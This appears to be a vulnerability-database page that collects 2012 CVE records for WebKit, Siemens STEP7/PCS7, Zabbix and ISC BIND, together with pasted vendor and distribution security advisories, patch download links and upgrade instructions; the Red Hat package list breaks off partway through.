VARIoT IoT vulnerabilities database
| VAR-201207-0074 | CVE-2012-3633 | plural Apple Used in products WebKit Vulnerabilities in arbitrary code execution |
CVSS V2: 9.3 CVSS V3: - Severity: HIGH |
WebKit, as used in Apple Safari before 6.0, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site, a different vulnerability than other WebKit CVEs listed in APPLE-SA-2012-07-25-1. WebKit is prone to multiple unspecified remote code-execution vulnerabilities.
Attackers can exploit these issues by performing a man-in-the-middle attack. Successful attacks will result in arbitrary code execution; failed attacks may cause denial-of-service conditions.
Note: This issue was previously discussed in BID 54669 (Apple Safari Prior to 6.0 Multiple Security Vulnerabilities), but has been given its own record to better document it. Apple Apple Safari is a web browser developed by Apple (Apple), and is the default browser included with Mac OS X and iOS operating systems. Vulnerabilities exist in using WebKit in versions prior to Apple Safari 6.0
| VAR-201207-0136 | CVE-2012-3015 | Siemens SIMATIC PCS7 Used in SIMATIC STEP7 Vulnerable to gaining privileges |
CVSS V2: 6.9 CVSS V3: - Severity: MEDIUM |
Untrusted search path vulnerability in Siemens SIMATIC STEP7 before 5.5 SP1, as used in SIMATIC PCS7 7.1 SP3 and earlier and other products, allows local users to gain privileges via a Trojan horse DLL in a STEP7 project folder. Siemens SIMATIC is an automation software in a single engineering environment. Siemens SIMATIC STEP 7 and PCS 7 are not secure to load library files. Attackers can build specially crafted project files, place them in remote WebDAV or SMB shares, entice users to parse, and execute arbitrary code in the application context. Multiple Siemens SIMATIC Products are prone to a vulnerability that lets attackers execute arbitrary code.
An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location which contains a specially crafted Dynamic Link Library (DLL) file.
Successful exploits will compromise the application in the context of the currently logged-in user.
The following Siemens SIMATIC Products are vulnerable:
Siemens SIMATIC PCS 7 versions 7.1 SP3 and prior
Siemens SIMATIC STEP 7 versions prior to 5.5 SP1. There are vulnerabilities in Siemens SIMATIC STEP 7 and PCS 7 that can be exploited by malicious attackers to manipulate users' systems. ----------------------------------------------------------------------
We are millions! Join us to protect all Pc's Worldwide.
Download the new Secunia PSI 3.0 available in 5 languages and share it with your friends:
http://secunia.com/psi
----------------------------------------------------------------------
TITLE:
Siemens SIMATIC STEP 7 / PCS 7 Insecure Library Loading Vulnerability
SECUNIA ADVISORY ID:
SA50039
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/50039/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=50039
RELEASE DATE:
2012-07-24
DISCUSS ADVISORY:
http://secunia.com/advisories/50039/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/50039/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=50039
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
A vulnerability has been reported in Siemens SIMATIC STEP 7 and PCS
7, which can be exploited by malicious people to compromise a user's
system.
The vulnerability is caused due to the application loading libraries
in an insecure manner.
SOLUTION:
Update to version 5.5 SP1 or apply Service Pack.
PROVIDED AND/OR DISCOVERED BY:
Reported by the vendor.
ORIGINAL ADVISORY:
http://www.siemens.com/corporate-technology/pool/de/forschungsfelder/siemens_security_advisory_ssa-110665.pdf
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
| VAR-201208-0374 | CVE-2012-3435 | ZABBIX 'itemid' parameter SQL injection vulnerability |
CVSS V2: 7.5 CVSS V3: - Severity: HIGH |
SQL injection vulnerability in frontends/php/popup_bitem.php in Zabbix 1.8.15rc1 and earlier, and 2.x before 2.0.2rc1, allows remote attackers to execute arbitrary SQL commands via the itemid parameter. Zabbix is an enterprise-class open source solution that provides distributed system monitoring and network monitoring based on a web interface. ZABBIX is prone to an SQL-injection vulnerability.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Versions prior to ZABBIX 2.0.2 are vulnerable. ----------------------------------------------------------------------
We are millions! Join us to protect all Pc's Worldwide.
Download the new Secunia PSI 3.0 available in 5 languages and share it with your friends:
http://secunia.com/psi
----------------------------------------------------------------------
TITLE:
Zabbix "itemid" SQL Injection Vulnerability
SECUNIA ADVISORY ID:
SA49809
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/49809/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=49809
RELEASE DATE:
2012-07-25
DISCUSS ADVISORY:
http://secunia.com/advisories/49809/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/49809/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=49809
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
A vulnerability has been reported in Zabbix, which can be exploited
by malicious people to conduct SQL injection attacks. This can be
exploited to manipulate SQL queries by injecting arbitrary SQL code.
The vulnerability is reported in version 2.0.1.
SOLUTION:
Fixed in version 2.0.2rc2. Also fixed in the GIT repository.
PROVIDED AND/OR DISCOVERED BY:
muts
ORIGINAL ADVISORY:
Zabbix:
https://support.zabbix.com/browse/ZBX-5348
http://git.zabbixzone.com/zabbix2.0/.git/commit/333a3a5542ba8a2c901c24b7bf5440f41f1f4f54
muts:
http://www.exploit-db.com/exploits/20087/
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
. ----------------------------------------------------------------------
The final version of the CSI 6.0 has been released.
For more information:
SA49809
SOLUTION:
Apply updated packages via the apt-get package manager. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
- -------------------------------------------------------------------------
Debian Security Advisory DSA-2539-1 security@debian.org
http://www.debian.org/security/ Raphael Geissert
September 06, 2012 http://www.debian.org/security/faq
- -------------------------------------------------------------------------
Package : zabbix
Vulnerability : SQL injection
Problem type : remote
Debian-specific: no
CVE ID : CVE-2012-3435
Debian Bug : 683273
It was discovered that Zabbix, a network monitoring solution, does not
properly validate user input used as a part of an SQL query.
For the testing distribution (wheezy), this problem will be fixed soon.
We recommend that you upgrade your zabbix packages.
Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: http://www.debian.org/security/
Mailing list: debian-security-announce@lists.debian.org
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)
iEYEARECAAYFAlBIX7AACgkQYy49rUbZzlrfKwCdGUAYYsmuSFcaKKjgaap5PmSg
Yj4AoJ6SogKTB06ZEoEwxkCAhGv7XIvO
=lWI6
-----END PGP SIGNATURE-----
. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 201311-15
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Severity: Normal
Title: Zabbix: Multiple vulnerabilities
Date: November 25, 2013
Bugs: #312875, #394497, #428372, #452878, #486696
ID: 201311-15
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Synopsis
========
Multiple vulnerabilities have been found in Zabbix, possibly leading to
SQL injection attacks, Denial of Service, or information disclosure.
Background
==========
Zabbix is software for monitoring applications, networks, and servers.
Affected packages
=================
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 net-analyzer/zabbix < 2.0.9_rc1-r2 >= 2.0.9_rc1-r2
Description
===========
Multiple vulnerabilities have been discovered in Zabbix. Please review
the CVE identifiers referenced below for details.
Impact
======
A remote attacker may be able to execute arbitrary SQL statements,
cause a Denial of Service condition, or obtain sensitive information.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All Zabbix users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot -v ">=net-analyzer/zabbix-2.0.9_rc1-r2"
References
==========
[ 1 ] CVE-2010-1277
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-1277
[ 2 ] CVE-2011-2904
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-2904
[ 3 ] CVE-2011-3263
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3263
[ 4 ] CVE-2011-4674
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-4674
[ 5 ] CVE-2012-3435
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-3435
[ 6 ] CVE-2013-1364
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2013-1364
[ 7 ] CVE-2013-5572
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2013-5572
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
http://security.gentoo.org/glsa/glsa-201311-15.xml
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2013 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
| VAR-201207-0279 | CVE-2012-3817 | ISC BIND Service disruption in ( Violation of representation and Daemon Exit) Vulnerabilities |
CVSS V2: 7.8 CVSS V3: - Severity: HIGH |
ISC BIND 9.4.x, 9.5.x, 9.6.x, and 9.7.x before 9.7.6-P2; 9.8.x before 9.8.3-P2; 9.9.x before 9.9.1-P2; and 9.6-ESV before 9.6-ESV-R7-P2, when DNSSEC validation is enabled, does not properly initialize the failing-query cache, which allows remote attackers to cause a denial of service (assertion failure and daemon exit) by sending many queries. ISC BIND is prone to a denial-of-service vulnerability.
An attacker can exploit this issue to cause an assertion failure in the 'named' process, denying service to legitimate users. This issue may also be exploited to disclose certain memory information to clients.
The following versions are affected:
BIND 9.6-ESV-R1 through versions 9.6-ESV-R7-P1
BIND 9.7.1 through versions 9.7.6-P1
BIND 9.8.0 through versions 9.8.3-P1
BIND 9.9.0 through versions 9.9.1-P1. The verification
of md5 checksums and GPG signatures is performed automatically for you.
Here are the details from the Slackware 14.0 ChangeLog:
+--------------------------+
patches/packages/bind-9.9.2_P1-i486-1_slack14.0.txz: Upgraded.
IMPORTANT NOTE: This package updates BIND from 9.7.6_P4 to
9.8.4_P1 since the 9.7 series is no longer supported. It is
possible that some changes may be required to your local
configuration.
This release addresses some denial-of-service and other bugs.
For more information, see:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5688
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5166
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3817
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1667
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3868
(* Security fix *)
+--------------------------+
Where to find the new packages:
+-----------------------------+
Thanks to the friendly folks at the OSU Open Source Lab
(http://osuosl.org) for donating FTP and rsync hosting
to the Slackware project! :-)
Also see the "Get Slack" section on http://slackware.com for
additional mirror sites near you.
Updated package for Slackware 12.1:
ftp://ftp.slackware.com/pub/slackware/slackware-12.1/patches/packages/bind-9.8.4_P1-i486-1_slack12.1.tgz
Updated package for Slackware 12.2:
ftp://ftp.slackware.com/pub/slackware/slackware-12.2/patches/packages/bind-9.8.4_P1-i486-1_slack12.2.tgz
Updated package for Slackware 13.0:
ftp://ftp.slackware.com/pub/slackware/slackware-13.0/patches/packages/bind-9.8.4_P1-i486-1_slack13.0.txz
Updated package for Slackware x86_64 13.0:
ftp://ftp.slackware.com/pub/slackware/slackware64-13.0/patches/packages/bind-9.8.4_P1-x86_64-1_slack13.0.txz
Updated package for Slackware 13.1:
ftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/bind-9.8.4_P1-i486-1_slack13.1.txz
Updated package for Slackware x86_64 13.1:
ftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/bind-9.8.4_P1-x86_64-1_slack13.1.txz
Updated package for Slackware 13.37:
ftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/bind-9.8.4_P1-i486-1_slack13.37.txz
Updated package for Slackware x86_64 13.37:
ftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/bind-9.8.4_P1-x86_64-1_slack13.37.txz
Updated package for Slackware 14.0:
ftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/bind-9.9.2_P1-i486-1_slack14.0.txz
Updated package for Slackware x86_64 14.0:
ftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/bind-9.9.2_P1-x86_64-1_slack14.0.txz
Updated package for Slackware -current:
ftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/n/bind-9.9.2_P1-i486-1.txz
Updated package for Slackware x86_64 -current:
ftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/n/bind-9.9.2_P1-x86_64-1.txz
MD5 signatures:
+-------------+
Slackware 12.1 package:
2df945fd92d480df98711992180cdd70 bind-9.8.4_P1-i486-1_slack12.1.tgz
Slackware 12.2 package:
ddf762702befde00ab86cda1a5766bbd bind-9.8.4_P1-i486-1_slack12.2.tgz
Slackware 13.0 package:
b6c9a8f1262bd39db2dd77034f58e568 bind-9.8.4_P1-i486-1_slack13.0.txz
Slackware x86_64 13.0 package:
b35c20ad9778035c7e04ef2944375608 bind-9.8.4_P1-x86_64-1_slack13.0.txz
Slackware 13.1 package:
a6b061aeb84003ea7b6ddcc157e0db65 bind-9.8.4_P1-i486-1_slack13.1.txz
Slackware x86_64 13.1 package:
54ee26b4924ab502eedfd024d83db20e bind-9.8.4_P1-x86_64-1_slack13.1.txz
Slackware 13.37 package:
04d40ede0a96160e79767bf995469773 bind-9.8.4_P1-i486-1_slack13.37.txz
Slackware x86_64 13.37 package:
f4635df06e3c0f62f035d00e15b0f5fb bind-9.8.4_P1-x86_64-1_slack13.37.txz
Slackware 14.0 package:
66612ea03941fc8ef5ef21409ecc6fe3 bind-9.9.2_P1-i486-1_slack14.0.txz
Slackware x86_64 14.0 package:
6f664fe7e955c0dbe806a63ad9212c00 bind-9.9.2_P1-x86_64-1_slack14.0.txz
Slackware -current package:
83bc10ca67bede66bf742a7d0ab6e628 n/bind-9.9.2_P1-i486-1.txz
Slackware x86_64 -current package:
4a539dd88ef3637eee56693c037a3dc8 n/bind-9.9.2_P1-x86_64-1.txz
Installation instructions:
+------------------------+
Upgrade the package as root:
# upgradepkg bind-9.9.2_P1-i486-1_slack14.0.txz
Then, restart the name server:
# /etc/rc.d/rc.bind restart
+-----+
Slackware Linux Security Team
http://slackware.com/gpg-key
security@slackware.com
+------------------------------------------------------------------------+
| To leave the slackware-security mailing list: |
+------------------------------------------------------------------------+
| Send an email to majordomo@slackware.com with this text in the body of |
| the email message: |
| |
| unsubscribe slackware-security |
| |
| You will get a confirmation message back containing instructions to |
| complete the process. Please do not reply to this email address. ----------------------------------------------------------------------
We are millions! Join us to protect all Pc's Worldwide.
Download the new Secunia PSI 3.0 available in 5 languages and share it with your friends:
http://secunia.com/psi
----------------------------------------------------------------------
TITLE:
ISC BIND Bad Cache Assertion Failure and TCP Query Denial of Service
Vulnerabilities
SECUNIA ADVISORY ID:
SA50020
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/50020/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=50020
RELEASE DATE:
2012-07-25
DISCUSS ADVISORY:
http://secunia.com/advisories/50020/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/50020/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=50020
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
Two vulnerabilities have been reported in ISC BIND, which can be
exploited by malicious people to cause a DoS (Denial of Service).
Successful exploitation of this vulnerability requires that DNSSEC
validation is enabled.
2) A memory leak error when processing TCP queries can be exploited
to increase the number of misplaced ns_client objects and trigger an
out-of-memory condition.
SOLUTION:
Update to version 9.9.1-P2, 9.8.3-P2, 9.7.6-P2, or 9.6-ESV-R7-P2.
PROVIDED AND/OR DISCOVERED BY:
The vendor credits:
1) Einar Lonn, IIS.se
2) Kevin Sheehan, Infoblox, Inc. and Anand Buddhdev, RIPE NCC.
ORIGINAL ADVISORY:
https://www.isc.org/software/aftr/advisories/cve-2012-3817
https://www.isc.org/software/bind/advisories/cve-2012-3868
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
.
For the stable distribution (squeeze), this problem has been fixed in
version 1:9.7.3.dfsg-1~squeeze6.
For the testing distribution (wheezy), this problem will be fixed soon.
For the unstable distribution (sid), this problem has been fixed in
version 1:9.8.1.dfsg.P1-4.2.
We recommend that you upgrade your bind9 packages. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
=====================================================================
Red Hat Security Advisory
Synopsis: Important: bind security update
Advisory ID: RHSA-2012:1123-01
Product: Red Hat Enterprise Linux
Advisory URL: https://rhn.redhat.com/errata/RHSA-2012-1123.html
Issue date: 2012-07-31
CVE Names: CVE-2012-3817
=====================================================================
1. Summary:
Updated bind packages that fix one security issue are now available for
Red Hat Enterprise Linux 5 and 6.
The Red Hat Security Response Team has rated this update as having
important security impact. A Common Vulnerability Scoring System (CVSS)
base score, which gives a detailed severity rating, is available from the
CVE link in the References section.
2. Relevant releases/architectures:
RHEL Desktop Workstation (v. 5 client) - i386, x86_64
Red Hat Enterprise Linux (v. 5 server) - i386, ia64, ppc, s390x, x86_64
Red Hat Enterprise Linux Desktop (v. 5 client) - i386, x86_64
Red Hat Enterprise Linux Desktop (v. 6) - i386, x86_64
Red Hat Enterprise Linux Desktop Optional (v. 6) - i386, x86_64
Red Hat Enterprise Linux HPC Node (v. 6) - x86_64
Red Hat Enterprise Linux HPC Node Optional (v. 6) - x86_64
Red Hat Enterprise Linux Server (v. 6) - i386, ppc64, s390x, x86_64
Red Hat Enterprise Linux Server Optional (v. 6) - i386, ppc64, s390x, x86_64
Red Hat Enterprise Linux Workstation (v. 6) - i386, x86_64
Red Hat Enterprise Linux Workstation Optional (v. 6) - i386, x86_64
3. Description:
The Berkeley Internet Name Domain (BIND) is an implementation of the Domain
Name System (DNS) protocols. BIND includes a DNS server (named); a resolver
library (routines for applications to use when interfacing with DNS); and
tools for verifying that the DNS server is operating correctly.
An uninitialized data structure use flaw was found in BIND when DNSSEC
validation was enabled. (CVE-2012-3817)
Users of bind are advised to upgrade to these updated packages, which
correct this issue. After installing the update, the BIND daemon (named)
will be restarted automatically.
4. Solution:
Before applying this update, make sure all previously-released errata
relevant to your system have been applied.
This update is available via the Red Hat Network. Details on how to
use the Red Hat Network to apply this update are available at
https://access.redhat.com/knowledge/articles/11258
5. Bugs fixed (http://bugzilla.redhat.com/):
842897 - CVE-2012-3817 bind: heavy DNSSEC validation load can cause assertion failure
6. Package List:
Red Hat Enterprise Linux Desktop (v. 5 client):
Source:
ftp://ftp.redhat.com/pub/redhat/linux/enterprise/5Client/en/os/SRPMS/bind-9.3.6-20.P1.el5_8.2.src.rpm
i386:
bind-9.3.6-20.P1.el5_8.2.i386.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.2.i386.rpm
bind-libs-9.3.6-20.P1.el5_8.2.i386.rpm
bind-sdb-9.3.6-20.P1.el5_8.2.i386.rpm
bind-utils-9.3.6-20.P1.el5_8.2.i386.rpm
x86_64:
bind-9.3.6-20.P1.el5_8.2.x86_64.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.2.i386.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.2.x86_64.rpm
bind-libs-9.3.6-20.P1.el5_8.2.i386.rpm
bind-libs-9.3.6-20.P1.el5_8.2.x86_64.rpm
bind-sdb-9.3.6-20.P1.el5_8.2.x86_64.rpm
bind-utils-9.3.6-20.P1.el5_8.2.x86_64.rpm
RHEL Desktop Workstation (v. 5 client):
Source:
ftp://ftp.redhat.com/pub/redhat/linux/enterprise/5Client/en/os/SRPMS/bind-9.3.6-20.P1.el5_8.2.src.rpm
i386:
bind-chroot-9.3.6-20.P1.el5_8.2.i386.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.2.i386.rpm
bind-devel-9.3.6-20.P1.el5_8.2.i386.rpm
bind-libbind-devel-9.3.6-20.P1.el5_8.2.i386.rpm
caching-nameserver-9.3.6-20.P1.el5_8.2.i386.rpm
x86_64:
bind-chroot-9.3.6-20.P1.el5_8.2.x86_64.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.2.i386.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.2.x86_64.rpm
bind-devel-9.3.6-20.P1.el5_8.2.i386.rpm
bind-devel-9.3.6-20.P1.el5_8.2.x86_64.rpm
bind-libbind-devel-9.3.6-20.P1.el5_8.2.i386.rpm
bind-libbind-devel-9.3.6-20.P1.el5_8.2.x86_64.rpm
caching-nameserver-9.3.6-20.P1.el5_8.2.x86_64.rpm
Red Hat Enterprise Linux (v. 5 server):
Source:
ftp://ftp.redhat.com/pub/redhat/linux/enterprise/5Server/en/os/SRPMS/bind-9.3.6-20.P1.el5_8.2.src.rpm
i386:
bind-9.3.6-20.P1.el5_8.2.i386.rpm
bind-chroot-9.3.6-20.P1.el5_8.2.i386.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.2.i386.rpm
bind-devel-9.3.6-20.P1.el5_8.2.i386.rpm
bind-libbind-devel-9.3.6-20.P1.el5_8.2.i386.rpm
bind-libs-9.3.6-20.P1.el5_8.2.i386.rpm
bind-sdb-9.3.6-20.P1.el5_8.2.i386.rpm
bind-utils-9.3.6-20.P1.el5_8.2.i386.rpm
caching-nameserver-9.3.6-20.P1.el5_8.2.i386.rpm
ia64:
bind-9.3.6-20.P1.el5_8.2.ia64.rpm
bind-chroot-9.3.6-20.P1.el5_8.2.ia64.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.2.i386.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.2.ia64.rpm
bind-devel-9.3.6-20.P1.el5_8.2.ia64.rpm
bind-libbind-devel-9.3.6-20.P1.el5_8.2.ia64.rpm
bind-libs-9.3.6-20.P1.el5_8.2.i386.rpm
bind-libs-9.3.6-20.P1.el5_8.2.ia64.rpm
bind-sdb-9.3.6-20.P1.el5_8.2.ia64.rpm
bind-utils-9.3.6-20.P1.el5_8.2.ia64.rpm
caching-nameserver-9.3.6-20.P1.el5_8.2.ia64.rpm
ppc:
bind-9.3.6-20.P1.el5_8.2.ppc.rpm
bind-chroot-9.3.6-20.P1.el5_8.2.ppc.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.2.ppc.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.2.ppc64.rpm
bind-devel-9.3.6-20.P1.el5_8.2.ppc.rpm
bind-devel-9.3.6-20.P1.el5_8.2.ppc64.rpm
bind-libbind-devel-9.3.6-20.P1.el5_8.2.ppc.rpm
bind-libbind-devel-9.3.6-20.P1.el5_8.2.ppc64.rpm
bind-libs-9.3.6-20.P1.el5_8.2.ppc.rpm
bind-libs-9.3.6-20.P1.el5_8.2.ppc64.rpm
bind-sdb-9.3.6-20.P1.el5_8.2.ppc.rpm
bind-utils-9.3.6-20.P1.el5_8.2.ppc.rpm
caching-nameserver-9.3.6-20.P1.el5_8.2.ppc.rpm
s390x:
bind-9.3.6-20.P1.el5_8.2.s390x.rpm
bind-chroot-9.3.6-20.P1.el5_8.2.s390x.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.2.s390.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.2.s390x.rpm
bind-devel-9.3.6-20.P1.el5_8.2.s390.rpm
bind-devel-9.3.6-20.P1.el5_8.2.s390x.rpm
bind-libbind-devel-9.3.6-20.P1.el5_8.2.s390.rpm
bind-libbind-devel-9.3.6-20.P1.el5_8.2.s390x.rpm
bind-libs-9.3.6-20.P1.el5_8.2.s390.rpm
bind-libs-9.3.6-20.P1.el5_8.2.s390x.rpm
bind-sdb-9.3.6-20.P1.el5_8.2.s390x.rpm
bind-utils-9.3.6-20.P1.el5_8.2.s390x.rpm
caching-nameserver-9.3.6-20.P1.el5_8.2.s390x.rpm
x86_64:
bind-9.3.6-20.P1.el5_8.2.x86_64.rpm
bind-chroot-9.3.6-20.P1.el5_8.2.x86_64.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.2.i386.rpm
bind-debuginfo-9.3.6-20.P1.el5_8.2.x86_64.rpm
bind-devel-9.3.6-20.P1.el5_8.2.i386.rpm
bind-devel-9.3.6-20.P1.el5_8.2.x86_64.rpm
bind-libbind-devel-9.3.6-20.P1.el5_8.2.i386.rpm
bind-libbind-devel-9.3.6-20.P1.el5_8.2.x86_64.rpm
bind-libs-9.3.6-20.P1.el5_8.2.i386.rpm
bind-libs-9.3.6-20.P1.el5_8.2.x86_64.rpm
bind-sdb-9.3.6-20.P1.el5_8.2.x86_64.rpm
bind-utils-9.3.6-20.P1.el5_8.2.x86_64.rpm
caching-nameserver-9.3.6-20.P1.el5_8.2.x86_64.rpm
Red Hat Enterprise Linux Desktop (v. 6):
Source:
ftp://ftp.redhat.com/pub/redhat/linux/enterprise/6Client/en/os/SRPMS/bind-9.8.2-0.10.rc1.el6_3.2.src.rpm
i386:
bind-debuginfo-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-libs-9.8.2-0.10.rc1.el6_3.2.i686.rpm
bind-utils-9.8.2-0.10.rc1.el6_3.2.i686.rpm
x86_64:
